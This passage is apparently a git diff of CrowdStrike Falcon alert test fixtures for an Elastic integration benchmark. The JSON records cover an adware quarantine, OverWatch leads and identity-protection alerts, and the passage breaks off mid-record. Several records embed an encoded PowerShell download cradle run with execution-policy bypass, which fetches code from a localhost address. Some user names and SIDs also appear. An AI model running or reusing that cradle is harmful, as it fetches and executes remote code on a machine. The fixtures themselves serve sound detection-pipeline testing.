RAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} -{"agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} -{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} -{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} -{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z", "prevented":true,"worker_node_name":"example"} -{"agent_id":"7940b10993e844e398f83bd92aa92b8f","aggregate_id":"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644","alleged_filetype":"exe","cid":"bdc3e3474d8848f1b8dcf41d41669a14","cloud_indicator":"false","cmdline":"cmd crowdstrike_test_informational","composite_id":"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","confidence":100,"context_timestamp":"2025-06-06T10:20:41.124Z","control_graph_id":"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644","crawled_timestamp":"2025-06-06T10:21:45.624194206Z","created_timestamp":"2025-06-06T10:21:45.624178312Z","data_domains":["Endpoint"],"description":"An informational level detection was triggered on this process for testing purposes.","device":{"agent_load_flags":"1","agent_local_time":"2025-06-06T06:28:45.178Z","agent_version":"7.24.19607.0","bios_manufacturer":"Microsoft Corporation","bios_version":"Hyper-V UEFI Release v4.1","cid":"bdc3e3474d8848f1b8dcf41d41669a14","config_id_base":"65994767","config_id_build":"19607","config_id_platform":"3","device_id":"7940b10993e844e398f83bd92aa92b8f","external_ip":"81.2.69.144","first_seen":"2025-05-29T11:54:43Z","groups":["f3ba4e75244b4d06837c910a00bf80be"],"hostinfo":{"domain":""},"hostname":"raquel-win10-3","instance_id":"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6","last_seen":"2025-06-06T09:44:59Z","local_ip":"10.0.0.13","mac_address":"60-45-bd-d2-d4-37","machine_domain":"","major_version":"10","minor_version":"0","modified_timestamp":"2025-06-06T10:18:32Z","os_version":"Windows 10","ou":null,"platform_id":"0","platform_name":"Windows","product_type":"1","product_type_desc":"Workstation","service_provider":"AZURE","service_provider_account_id":"7599433a-346d-4c25-b9d0-2948136c41f5","status":"normal","system_manufacturer":"Microsoft Corporation","system_product_name":"Virtual Machine"},"display_name":"TestTriggerInformational","email_sent":true,"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","global_prevalence":"common","grandparent_details":{"cmdline":"cmd crowdstrike_test_medium","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"2796","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17938741315","process_id":"17938741315","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:21Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","indicator_id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","ioc_context":[],"local_prevalence":"unique","local_process_id":"6028","logon_domain":"raquel-win10-3","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","name":"DemoInformationalPattern","objective":"Falcon Detection Method","parent_details":{"cmdline":"cmd crowdstrike_test_low","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"4840","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17940808135","process_id":"17940808135","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:32Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"parent_process_id":"17940808135","pattern_disposition":0,"pattern_disposition_description":"Detection, standard detection.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"containment_file_system":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"mfa_required":false,"operation_blocked":false,"policy_disabled":false,"prevention_provisioning_enabled":false,"process_blocked":false,"quarantine_file":false,"quarantine_machine":false,"registry_operation_blocked":false,"response_action_already_applied":false,"response_action_failed":false,"response_action_triggered":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":10307,"platform":"Windows","poly_id":"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==","priority_explanation":["[MOD] The severity of the detection: Informational"],"priority_value":10,"process_id":"17942810918","process_start_time":"1749205241","product":"epp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":10,"severity_name":"Informational","sha1":"0000000000000000000000000000000000000000","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","show_in_ui":true,"source_products":["Falcon Insight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"Falcon Overwatch","tactic_id":"CSTA0006","technique":"Malicious Activity","technique_id":"CST0002","template_instance_id":"1339","timestamp":"2025-06-06T10:20:41.789Z","tree_id":"17181460644","tree_root":"17934037600","triggering_process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17942810918","type":"ldt","updated_timestamp":"2025-06-06T10:21:50.710758858Z","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log deleted file mode 100644 index c2a5a0f28b..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log +++ /dev/null @@ -1,11 +0,0 @@ -{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"has_script_or_module_ioc":"true","id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"is_synthetic_quarantine_disposition":true,"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","overwatch_note":"Activity Notice: OverWatch has observed XYZ","overwatch_note_timestamp":"2025-03-01T15:31:00Z","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"rule_group_id":"1b27b7f123c44e15a13fe7f44801d123","rule_group_name":"Windows Group","rule_instance_created_by":"myuser@mydomain.com","rule_instance_id":"123","rule_instance_name":"INSTANCE-1","rule_instance_version":"1","scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} -{"agent_id":"38293534662e48c99f33c61631b3536d","aggregate_id":"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","cid":"4446934rf3fdb64ec3056ddfb96e","composite_id":"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","confidence":80,"context_timestamp":"2024-08-16T18:43:44.242Z","crawled_timestamp":"2024-08-16T18:49:02.798354466Z","created_timestamp":"2024-08-16T18:45:02.987127397Z","data_domains":["Identity"],"description":"A user denied a policy identity verification request","display_name":"Identity verification denied","end_time":"2024-08-16T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","idp_policy_mfa_factor_type":"32769","idp_policy_mfa_provider":"14","idp_policy_rule_id":"1B82F2DE-2A08-49E0-8F85-AD46996F9A65","idp_policy_rule_name":"admin - RDP Access to TIER-0 Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"Gain Access","pattern_id":51143,"poly_id":"AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"High","show_in_ui":true,"source_account_azure_id":"65ddx-c454-45f9-9034-Fdf34353","source_account_domain":"NET.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1567733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"E436B3F0-078C-4629-9437-D3E3169147C0","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293534662e48c99f33c61631b3536d","source_products":["Falcon Identity Protection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"Credential Access","tactic_id":"TA0006","technique":"Brute Force","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E","target_endpoint_account_object_sid":"S-1-5-21-746137067-1844237615-1801674531-298236","target_endpoint_host_name":"GH787.net.example.com","target_endpoint_sensor_id":"ac89a368e77a4fa5837b53c7f11fc9e7","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge 126.0.0","activity_device":"LAPTOP-AP7299QV","activity_os":"Windows","active_directory_authentication_method":"5","activity_id":"2A8A7C96-0F17-412C-8105-94542784E00D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":340726,"location_longitude_as_int":-1182610,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"9F2CE16C-4A78-42E6-8565-87147707EE79","source_endpoint_account_object_sid":"S-1-5-21-111111111-2222222-1417001333-101158","source_endpoint_ip_reputation":"128","source_ip_isp_classification":"9","source_ip_isp_domain":"sioru.com","target_domain_controller_host_name":"APINTAL19DC01","target_domain_controller_object_guid":"45A24DB7-6CD3-48C5-974F-A97159E7E2B2","target_domain_controller_object_sid":"S-1-5-21-111111111-2222222-1417001333-85512","target_service_access_identifier":"HOST/admin.example.com"} -{"aggregate_id":"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9","agent_id":"58293534772e48c99f33c61631b3536d","cid":"4446934rf3fdb64ec3056ddfb96e","context_timestamp":"2024-08-19T18:43:44.242Z","composite_id":"874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","crawled_timestamp":"2024-08-19T18:49:02.798354466Z","created_timestamp":"2024-08-19T18:45:02.987127397Z","data_domains":["Identity"],"description":"Auserdeniedapolicyidentityverificationrequest","display_name":"Identityverificationdenied","end_time":"2024-08-19T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429","idp_